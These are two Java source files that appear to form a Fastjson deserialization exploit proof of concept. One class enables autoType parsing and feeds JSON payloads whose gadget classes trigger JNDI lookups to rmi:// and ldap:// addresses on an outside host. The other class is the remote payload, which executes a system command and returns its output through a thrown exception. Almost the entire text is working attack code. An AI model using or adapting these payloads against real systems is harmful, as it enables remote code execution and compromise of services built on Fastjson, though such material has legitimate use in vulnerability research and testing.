import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonTest {
    public static void main(String[] args){

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String jsonStr1 ="{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://10.10.20.166:1099/ExportObject\"}";
        String jsonStr2 = "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"ldap://10.10.20.166:1389/ExportObject\"}";
        JSONObject json = JSON.parseObject(jsonStr2);
        json.toJSONString();
    }
}

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject {
    public ExportObject() throws Exception {
        Process proc = Runtime.getRuntime().exec("calc");
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();

        String line;
        while((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }

        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }

    public static void main(String[] args) throws Exception {
    }
}